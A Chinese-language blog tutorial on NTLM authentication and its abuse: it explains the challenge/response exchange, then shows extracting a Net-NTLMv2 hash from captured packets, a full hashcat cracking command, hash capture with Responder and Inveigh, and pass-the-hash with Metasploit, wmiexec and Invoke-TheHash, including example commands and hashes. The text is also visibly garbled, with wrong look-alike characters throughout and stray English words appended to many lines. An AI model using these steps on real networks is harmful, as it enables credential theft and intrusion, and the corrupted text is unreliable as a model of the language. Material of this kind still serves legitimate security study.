在平時的測試中,常常會碰處處於工做組的計算機,處於工做組的計算機之間是沒法創建一個可信的信託機構的,只能是點對點進行信息的傳輸。php
舉個例子就是,主機A想要訪問主機B上的資源,就要向主機B發送一個存在於主機B上的一個帳戶,主機B接收之後會在本地進行驗證,若是驗證成功,纔會容許主機A進行相應的訪問。html
這裏主要說一下基於挑戰(Chalenge)/響應(Response)
認證機制NTLM協議,對於以前的SMB協議等等就再也不進行過多的說明。python
NTLM 協議是一種基於挑戰(Chalenge)/響應(Response)
認證機制,僅支持Windows的網絡認證協議。git
它主要分爲協商、質詢和驗證三個步驟github
協商
,這個是爲了解決歷史遺留問題,也就是爲了向下兼容,雙方先肯定一下傳輸協議的版本等各類信息。算法
質詢
,這一步即是Chalenge/Response認證機制的關鍵之處,下面會介紹這裏的步驟。shell
驗證
,對質詢的最後結果進行一個驗證,驗證經過後,即容許訪問資源windows
** 質詢的完整過程 **服務器
** 首先,client會向server發送一個username,這個username是存在於server上的一個用戶。網絡
** 當server接收到這個信息時,首先會在本地查詢是否存在這樣的一個用戶,若是不存在,則直接返回認證失敗,若是存在,將會生成一個16位的隨機字符,即Chalenge,而後用查詢到的這個user的NTLM hash對Chalenge進行加密,生成Chalenge1,將Chalenge1存儲在本地,並將Chalenge傳給client。
** 當client接收到Chalenge時,將發送的username所對應的NTLM hash對Chalenge進行加密即Response,並Response發送給server。
** 質詢到這裏就結束了,最後一步就是屬於驗證的機制了
** server在收到Response後,將其與Chalenge1進行比較,若是相同,則驗證成功
大體的流程就是這樣子了
最後再稍微說一下NTLM V2協議,NTLMv1與NTLM v2最顯著的區別就是Challenge與加密算法不一樣,共同點就是加密的原料都是NTLM Hash,NTLM v1的Challenge有8位,NTLM v2的Challenge爲16位;NTLM v1的主要加密算法是DES,NTLM v2的主要加密算法是HMAC-MD5。
咱們用實際抓包狀況來看一下他們之間的數據傳輸
server 192.168.5.133 LENOVO/123456 client 192.168.5.134
在client遠程鏈接server
net use \\192.168.5.133 /u:LENOVO 123456
咱們來看一下抓到的數據包
這四條應該是進行協商的
前四個數據包對應NTLM認證的四部過程
咱們打開第二個數據包,得到返回的Challenge:d2165f1d10268dc0
查看第三個數據包能夠獲得client加密後的Challenge:1b6943212ce6ccf2
Response數據爲
8582c1c1d54a7a430fc79a0abe09b4040101000000000000f29aefb85f5ad5011b6943212ce6ccf20000000002001e00570049004e002d0044004d0047004d0055004f005000510030003300310001001e00570049004e002d0044004d0047004d0055004f005000510030003300310004001e00570049004e002d0044004d0047004d0055004f005000510030003300310003001e00570049004e002d0044004d0047004d0055004f005000510030003300310007000800f29aefb85f5ad50106000400020000000800300030000000000000000100000000200000f4be3b3312dffac27687742d4f92263e5c1a37792d98c42fa6cd9200a6e15fa80a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e0035002e00310033003300000000000000000000000000
接下來即可以使用Hashcat對其進行破解
NTLMv2的格式爲:username::domain:challenge:HMAC-MD5:blob
*** 注:challenge爲NTLMServer Challenge,domian由數據包內容得到(IP或者機器名),HMAC-MD5對應數據包中的NTProofStr,blob對應數據包中Response去掉NTProofStr的後半部分 ***
因此完整的NTLMv2數據爲
LENOVO::WIN-DMGMUOPQ031:d2165f1d10268dc0:8582c1c1d54a7a430fc79a0abe09b404:0101000000000000f29aefb85f5ad5011b6943212ce6ccf20000000002001e00570049004e002d0044004d0047004d0055004f005000510030003300310001001e00570049004e002d0044004d0047004d0055004f005000510030003300310004001e00570049004e002d0044004d0047004d0055004f005000510030003300310003001e00570049004e002d0044004d0047004d0055004f005000510030003300310007000800f29aefb85f5ad50106000400020000000800300030000000000000000100000000200000f4be3b3312dffac27687742d4f92263e5c1a37792d98c42fa6cd9200a6e15fa80a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e0035002e00310033003300000000000000000000000000
而後使用hashcat便可破解
hashcat -m 5600 LENOVO::WIN-DMGMUOPQ031:d2165f1d10268dc0:8582c1c1d54a7a430fc79a0abe09b404:0101000000000000f29aefb85f5ad5011b6943212ce6ccf20000000002001e00570049004e002d0044004d0047004d0055004f005000510030003300310001001e00570049004e002d0044004d0047004d0055004f005000510030003300310004001e00570049004e002d0044004d0047004d0055004f005000510030003300310003001e00570049004e002d0044004d0047004d0055004f005000510030003300310007000800f29aefb85f5ad50106000400020000000800300030000000000000000100000000200000f4be3b3312dffac27687742d4f92263e5c1a37792d98c42fa6cd9200a6e15fa80a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e0035002e00310033003300000000000000000000000000/root/123.list -o balabala.txt --force
-m:hash-type,5600對應NetNTLMv2,詳細參數可查表:https://hashcat.net/wiki/doku.php
-o:輸出文件
字典文件爲/root/123.list
--force表明強制執行,測試系統不支持Intel OpenCL
最後能夠看到已經成功爆破出密碼
固然在實際的測試環境中,咱們不可能使用這樣的方法去獲取,可使用中間人攻擊的方式來獲取Net-NTLMhash,經常使用的兩個工具是Responder
和Inveigh
Responder:python編寫
https://github.com/lgandx/Responder
Inveigh:powershell編寫
https://github.com/Kevin-Robertson/Inveigh
咱們在client上運行Inveigh,當咱們經過命令行鏈接的時候,就能夠獲取到Net-NTLMv2 hash。
首先先執行powershell
Import-Module .\Inveigh.psd1 Invoke-Inveigh -consoleoutput Y
此時就會抓到傳輸中的Net-NTLMv2 hash
而後再進行破解就能夠了
可是,當咱們沒法對其進行破解時,還有一種方法能夠用來利用,那就是PTH,即Pass The Hash(哈希傳遞),哈希傳遞是可以在不須要
帳戶明文密碼的狀況下完成認證的一個技術,在使用這種技術的時候,咱們不光須要用戶的的NTLM Hash,還須要
知道它的用戶名。
哈希傳遞,正是利用了點對點認證沒有第三方信託機構的缺點來完成的
首先咱們先向server發送用戶的用戶名,等待server返回Chanllenge,而後咱們使用用戶名對應的NTLM Hash將服務器給出的 Chanllenge加密,生成一個Response,來完成認證。
至於利用工具的話
1.msf有下面的模塊
exploit/windows/smb/psexec_psh
2.kali有pth工具集
3.還有基於python的wmiexec
https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
注:
wmiexec.py的註釋中提示"Mainadvantage here is it runs under the user (has to be Admin) account"
,經實際測試普通用戶權限便可
wmiexec.py的hash參數格式爲LMHASH:NTHASH
,若是系統默認不支持LM hash,將LM hash設定爲任意值便可
參數實例:
wmiexec -hashes00000000000000000000000000000000:7ECFFFF0C3548187607A14BAD0F88BB1TEST/test1@192.168.1.1 "whoami"
4.還有基於powershell的
https://github.com/Kevin-Robertson/Invoke-TheHash/
5.感受最好用的應該仍是cs中自帶的那個功能,方便又快捷。
若是對NTLM感興趣的能夠去了解了解下面的兩篇文章
http://davenport.sourceforge.net/ntlm.html https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
本文由博客一文多發平臺 OpenWrite 發佈!